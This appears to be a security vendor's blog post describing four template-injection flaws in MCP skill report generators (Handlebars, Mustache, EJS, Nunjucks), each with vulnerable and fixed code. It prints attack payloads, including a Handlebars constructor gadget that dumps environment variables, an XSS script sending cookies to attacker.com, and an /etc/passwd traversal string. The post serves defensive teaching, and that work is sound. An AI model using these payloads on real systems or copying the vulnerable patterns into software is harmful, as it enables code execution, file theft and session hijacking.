← Blog

Claude MCP skill template injection via Handlebars and Mustache rendering in report generation — SA-SKL-INJECTION8

MCP skill audit platforms generate rich report documents: HTML summaries, PDF exports, email digests, and markdown changelogs, all rendered from templates. When these templates are compiled at runtime from user-supplied strings, or when the template engine's escaping features are disabled or bypassed, an attacker who controls template input can execute arbitrary code on the server (via Handlebars constructor gadgets), inject unsanitized HTML into reports (via Mustache raw output), read arbitrary files from the filesystem (via EJS path traversal), or perform stored XSS in rendered skill descriptions (via Nunjucks autoescaping disabled). SA-SKL-INJECTION8 covers four template injection patterns in MCP skill report generation code.

By SkillAudit  |  9 Nov 2026
SA-SKL-INJECTION8 findings at a glance
CRITICALINJECTION8-001 — Handlebars Handlebars.compile(userTemplate) called with a user-supplied template string; attacker uses {{#with (fn this.constructor.constructor) }}{{#with (this "return process.env") }}{{.}}{{/with}}{{/with}} pattern to escape the sandbox and execute arbitrary JavaScript — environment variables, secrets, and process internals exposed
HIGHINJECTION8-002 — Mustache.render(template, view) where the template string contains {{&skillDescription}} (raw output, no escaping) and skillDescription comes from user input; attacker injects <script>document.location='https://attacker.com/?c='+document.cookie</script> into the skill description field; rendered HTML contains the XSS payload unsanitized
HIGHINJECTION8-003 — ejs.renderFile(req.body.templateName, data) where templateName comes from a user-supplied form field; attacker sends ../../../../etc/passwd as template name; EJS reads the file as an EJS template and renders it — arbitrary file read including private key files, .env, and data.db
HIGHINJECTION8-004 — Nunjucks env.addFilter('safe', v => new nunjucks.runtime.SafeString(v)) and autoescaping explicitly disabled for the skill description render path; attacker submits a skill with description {{ ''.__class__.__mro__[1].__subclasses__() }}; Nunjucks executes template expressions from user-controlled input

INJECTION8-001 — Handlebars compiled from user-supplied template string

Handlebars is a popular templating library used in MCP skill audit report generators. Developers sometimes allow "custom report templates" as a Pro feature — users can supply their own Handlebars template to customize report layout. When Handlebars.compile(userSuppliedTemplate) is called, the user's template string is parsed and compiled into executable JavaScript. Handlebars is not a sandboxed template engine: despite claims about "logic-less" templates, the {{#with}} helper combined with JavaScript constructor access allows an attacker to reach Function.constructor and execute arbitrary JavaScript in the Node.js process, gaining full RCE including access to process.env, the filesystem, and all secrets in memory.

// VULNERABLE — INJECTION8-001
// Handlebars.compile() called on a user-supplied template string.
// Attacker submits as their custom report template:
//   {{#with this.constructor.constructor}}
//     {{#with (this "return JSON.stringify(process.env)")}}
//       {{.}}
//     {{/with}}
//   {{/with}}
// Handlebars compiles and executes this — process.env (including API keys) returned in report.

import Handlebars from 'handlebars';

app.post('/api/report/custom', requireAuth, async (req, res) => {
  const { templateString, auditId } = req.body;
  const audit = await getAudit(auditId);

  // VULNERABLE: user-supplied template string compiled at runtime
  const template = Handlebars.compile(templateString);
  const html = template({ audit, user: req.user });

  res.json({ html });
});
// FIXED — INJECTION8-001
// Fix 1: Never compile user-supplied template strings — use pre-compiled templates only.
// Fix 2: If user customization is needed, use a safe subset: allow only variable substitution (Mustache {{var}}) not helpers.
// Fix 3: Template choice should select from an allowlisted set of server-side pre-compiled templates.

const ALLOWED_TEMPLATES = new Map([
  ['default',   require('./templates/report-default.precompiled')),
  ['compact',   require('./templates/report-compact.precompiled')),
  ['executive', require('./templates/report-executive.precompiled')),
]);

app.post('/api/report/custom', requireAuth, async (req, res) => {
  const { templateName, auditId } = req.body;
  const audit = await getAudit(auditId);

  // FIX 1 + 3: Allowlist template selection — never compile user-supplied strings
  const template = ALLOWED_TEMPLATES.get(templateName);
  if (!template) {
    return res.status(400).json({ error: 'Unknown template name' });
  }

  // Pre-compiled Handlebars template — no runtime compile step
  const html = template({ audit, user: { name: req.user.name } });  // pass only needed fields
  res.json({ html });
});

Detection: SkillAudit scans for Handlebars.compile(), handlebars.compile(), and hbs.compile() calls where the first argument traces back to request body, query parameters, or any database field that originates from user input. It flags any runtime compilation of user-controlled template strings.

INJECTION8-002 — Mustache raw output tag bypasses HTML escaping

Mustache templates use {{variable}} for HTML-escaped output and {{&variable}} or {{{variable}}} for raw (unescaped) output. When a template author uses raw output tags to avoid double-escaping already-sanitized content, but the values supplied in the view object are from user input, an attacker can inject HTML and JavaScript through the raw output paths. This is a common mistake in report templates where skill descriptions are rendered: developers assume the description was sanitized on input, but if the sanitization step was missed, removed, or bypassed, the raw output tag delivers the payload to report viewers without any escaping.

// VULNERABLE — INJECTION8-002
// Mustache template uses {{{skillDescription}}} (triple-stache, no escaping).
// Attacker submits skill with description containing XSS payload.
// Report viewer sees rendered HTML with injected script executing in their browser.

import Mustache from 'mustache';

const REPORT_TEMPLATE = `
<div class="skill-report">
  <h2>{{skillName}}</h2>
  <!-- Developer used raw output assuming description is pre-sanitized -->
  <div class="description">{{{skillDescription}}}</div>
  <div class="score">Score: {{auditScore}}</div>
</div>
`;

app.get('/api/report/:auditId', async (req, res) => {
  const audit = await getAudit(req.params.auditId);
  const skill = await getSkill(audit.skillId);

  // VULNERABLE: skillDescription from DB (user-supplied) used in raw Mustache tag
  const html = Mustache.render(REPORT_TEMPLATE, {
    skillName:        skill.name,
    skillDescription: skill.description,  // attacker controlled — <script>...</script> not escaped
    auditScore:       audit.score,
  });

  res.send(html);
});
// FIXED — INJECTION8-002
// Fix 1: Never use raw {{{ }}} or {{& }} tags for user-controlled values — always use {{ }} escaped tags.
// Fix 2: Sanitize skill description on write (DOMPurify server-side or html-entities escape).
// Fix 3: If rich HTML descriptions are needed, use an allowlist-based HTML sanitizer before render.

import Mustache from 'mustache';
import sanitizeHtml from 'sanitize-html';

const REPORT_TEMPLATE = `
<div class="skill-report">
  <h2>{{skillName}}</h2>
  <!-- FIX 1: use double-stache (HTML-escaped) for all user values -->
  <div class="description">{{skillDescription}}</div>
  <div class="score">Score: {{auditScore}}</div>
</div>
`;

app.get('/api/report/:auditId', async (req, res) => {
  const audit = await getAudit(req.params.auditId);
  const skill = await getSkill(audit.skillId);

  // FIX 2 + 3: Sanitize description before rendering (defense-in-depth)
  const safeDescription = sanitizeHtml(skill.description, {
    allowedTags: ['b', 'i', 'em', 'strong', 'code', 'p', 'br'],
    allowedAttributes: {},
  });

  const html = Mustache.render(REPORT_TEMPLATE, {
    skillName:        Mustache.escape(skill.name),  // escape even with {{ }} for defense-in-depth
    skillDescription: safeDescription,
    auditScore:       Number(audit.score),           // coerce to number — not a string passthrough
  });

  res.send(html);
});

INJECTION8-003 — EJS renderFile() with user-controlled template filename

EJS (Embedded JavaScript Templates) provides a ejs.renderFile(filename, data) API that reads a template file from disk by filename and renders it. If the filename comes from user input — a form field, a URL parameter, or a database value that originates from user input — an attacker can supply a path traversal payload like ../../../../etc/passwd or ../../../../app/data.db. EJS reads the file and renders it as a template, returning its contents in the response. Even if the file is not an EJS template, EJS will render it as plain text, effectively exposing the file content in the HTTP response body.

// VULNERABLE — INJECTION8-003
// ejs.renderFile() called with user-supplied template name — path traversal reads arbitrary files.
// Attacker submits: POST /api/report/generate with body { templateName: "../../../../etc/passwd" }
// EJS reads /etc/passwd and renders it in the response.

import ejs from 'ejs';
import path from 'path';

const TEMPLATES_DIR = path.join(__dirname, 'templates');

app.post('/api/report/generate', requireAuth, async (req, res) => {
  const { templateName, auditId } = req.body;
  const audit = await getAudit(auditId);

  // VULNERABLE: templateName from user — path.join() does not prevent traversal
  const templatePath = path.join(TEMPLATES_DIR, templateName);

  // VULNERABLE: renderFile() reads and renders the file at templatePath
  const html = await ejs.renderFile(templatePath, { audit });
  res.send(html);
});
// FIXED — INJECTION8-003
// Fix 1: Allowlist template names — reject any name not in a pre-approved list.
// Fix 2: path.resolve() + startsWith() check to block path traversal even if name passes allowlist.
// Fix 3: Never use user input as a filename without both fixes applied.

import ejs from 'ejs';
import path from 'path';

const TEMPLATES_DIR = path.resolve(__dirname, 'templates');
const ALLOWED_TEMPLATES = new Set(['default', 'compact', 'executive', 'technical']);

app.post('/api/report/generate', requireAuth, async (req, res) => {
  const { templateName, auditId } = req.body;

  // FIX 1: Allowlist check — reject unknown template names
  if (!ALLOWED_TEMPLATES.has(templateName)) {
    return res.status(400).json({ error: 'Unknown template' });
  }

  // FIX 2: Resolve full path and verify it stays inside TEMPLATES_DIR
  const templatePath = path.resolve(TEMPLATES_DIR, templateName + '.ejs');
  if (!templatePath.startsWith(TEMPLATES_DIR + path.sep)) {
    return res.status(400).json({ error: 'Invalid template path' });
  }

  const audit = await getAudit(auditId);
  const html = await ejs.renderFile(templatePath, { audit });
  res.send(html);
});

Detection: SkillAudit scans for ejs.renderFile(), ejs.render(), pug.renderFile(), and similar template render calls where the filename or template string argument traces back to request data or database fields that originate from user input. It flags cases where path traversal sanitization is absent.

INJECTION8-004 — Nunjucks autoescaping disabled for skill description rendering

Nunjucks is a Jinja2-inspired template engine for Node.js. Its default configuration enables autoescaping for HTML rendering, which prevents template injection by treating {{ and }} in data values as literals rather than template syntax. Some developers disable autoescaping in specific environments — for a "markdown preview" render path or for rendering "trusted" admin content — and then reuse the same Nunjucks environment instance for rendering user-controlled content like skill descriptions. When autoescaping is disabled, an attacker can submit a skill description containing Nunjucks template expressions that execute when the description is rendered, potentially exposing server internals or causing stored XSS.

// VULNERABLE — INJECTION8-004
// Nunjucks environment with autoescaping disabled renders user-controlled skill description.
// Attacker submits skill with description: "{{ range(1, 10) | list }}"
// Or for XSS: "<img src=x onerror=alert(document.domain)>" when autoescape is off.

import nunjucks from 'nunjucks';

// VULNERABLE: autoescaping disabled for "flexibility" — also disables injection protection
const env = nunjucks.configure('templates', {
  autoescape: false,   // developer disabled this for admin templates, now used everywhere
  noCache: true,
});

app.get('/skill/:id', async (req, res) => {
  const skill = await getSkill(req.params.id);

  // VULNERABLE: skill.description is user-controlled — rendered with autoescape: false
  const html = env.render('skill-detail.njk', {
    skill: {
      name:        skill.name,
      description: skill.description,   // attacker payload executed as Nunjucks template expression
      rating:      skill.rating,
    },
  });

  res.send(html);
});
// FIXED — INJECTION8-004
// Fix 1: Never disable autoescaping for environments that render user-controlled content.
// Fix 2: Use separate Nunjucks environments for admin/trusted and user-controlled rendering.
// Fix 3: Escape user-supplied values explicitly with the | e filter even with autoescape:true.
// Fix 4: Mark pre-sanitized safe HTML explicitly with | safe — only for server-generated content.

import nunjucks from 'nunjucks';

// FIX 1 + 2: Separate environments — autoescape OFF only for admin/server templates
const adminEnv = nunjucks.configure('templates/admin', { autoescape: false });
const userEnv  = nunjucks.configure('templates/user',  { autoescape: true });  // FIX 1: ON for user content

app.get('/skill/:id', async (req, res) => {
  const skill = await getSkill(req.params.id);

  // FIX 3: Use userEnv (autoescape:true) for rendering user-controlled data
  const html = userEnv.render('skill-detail.njk', {
    skill: {
      name:        skill.name,
      description: skill.description,   // autoescape:true — {{ }} in description treated as literal text
      rating:      Number(skill.rating),
    },
  });

  res.send(html);
});

// In templates/user/skill-detail.njk:
// <h2>{{ skill.name }}</h2>              <!-- autoescaped -->
// <p>{{ skill.description }}</p>         <!-- autoescaped — {{ }} in description shows as literal -->
// <!-- If you need sanitized HTML from description, do sanitization in JS and pass as safeHtml: -->
// <div>{{ skill.safeDescriptionHtml | safe }}</div>  <!-- FIX 4: | safe only on server-sanitized strings -->

Summary — SA-SKL-INJECTION8 at a glance

PatternRoot causeFixSeverity
INJECTION8-001Handlebars.compile(userTemplate) called at runtime with user-supplied template string; {{#with}} helper + Function.constructor gadget achieves RCE; environment variables and secrets exposedNever compile user-supplied templates; allowlist pre-compiled server-side template names; pass only sanitized data into templatesCritical
INJECTION8-002Mustache raw output tags {{{variable}}} used for user-controlled skill description field; HTML not escaped; attacker injects <script> payload into rendered report viewed by other usersAlways use {{variable}} (double-stache, HTML-escaped) for user data; sanitize with sanitize-html at write time; never use raw tags on user contentHigh
INJECTION8-003ejs.renderFile() called with user-supplied filename; path.join() does not block traversal; attacker reads /etc/passwd, .env, or SQLite database via crafted filenameAllowlist template names; path.resolve() + startsWith(TEMPLATES_DIR) check; never use user input as a filesystem path argumentHigh
INJECTION8-004Nunjucks autoescape: false set globally or on the environment used for user-content rendering; attacker submits Nunjucks template expressions in skill description field that execute on renderSeparate admin and user-content Nunjucks environments; keep autoescape: true for all user-controlled content; use | safe only on server-generated sanitized stringsHigh
SkillAudit

Does your MCP skill's report generation code protect against template injection?

SkillAudit scans for runtime Handlebars compilation of user-supplied strings, raw Mustache output tags on user-controlled fields, EJS path traversal via renderFile(), and Nunjucks autoescaping disabled for user-content environments — before an attacker turns your report generator into a code execution gadget.

Audit your MCP skill →